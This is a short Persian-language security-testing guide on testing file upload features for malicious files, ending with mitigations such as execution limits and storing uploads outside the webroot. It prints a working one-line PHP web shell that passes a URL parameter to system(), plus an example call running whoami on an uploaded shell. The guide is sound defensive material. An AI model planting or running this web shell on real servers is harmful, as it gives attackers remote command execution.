تست آپلود فایل‌های مخرب

فایل‌های مخرب چیست؟

فایل‌های مخرب شامل وب‌شل، اسکریپت‌های مخرب، فایل‌های آلوده به ویروس و فایل‌هایی هستند که می‌توانند به سرور یا کاربران آسیب برسانند.

انواع فایل‌های مخرب

روش‌شناسی تست

مرحله ۱: شناسایی نقاط آپلود

تمام نقاط آپلود فایل در برنامه را شناسایی کنید و نوع فایل‌های مجاز را مشخص کنید.

مرحله ۲: تست آپلود وب‌شل

1<?php
2// وب‌شل ساده PHP
3if(isset($_GET['cmd'])) {
4    system($_GET['cmd']);
5}
6?>
7
8// دسترسی:
9// http://target.com/uploads/shell.php?cmd=whoami

مرحله ۳: تست فایل‌های آلوده

• آپلود فایل تصویری حاوی کد مخرب
• آپلود فایل PDF حاوی اسکریپت
• آپلود فایل XML حاوی XXE
• آپلود فایل SVG حاوی اسکریپت

مرحله ۴: بررسی دفاع‌ها

• آیا فایل‌ها اسکن می‌شوند؟
• آیا دسترسی اجرایی محدود شده؟
• آیا فایل‌ها خارج از وب‌روت ذخیره می‌شوند؟
• آیا نظارت بر فایل‌های آپلود شده وجود دارد؟

راه‌حل

• اسکن فایل‌ها با آنتی‌ویروس
• محدود کردن دسترسی اجرایی
• ذخیره فایل خارج از وب‌روت
• تغییر نام فایل به نام تصادفی
• نظارت بر فایل‌های آپلود شده
• استفاده از سندباکس برای تحلیل فایل‌ها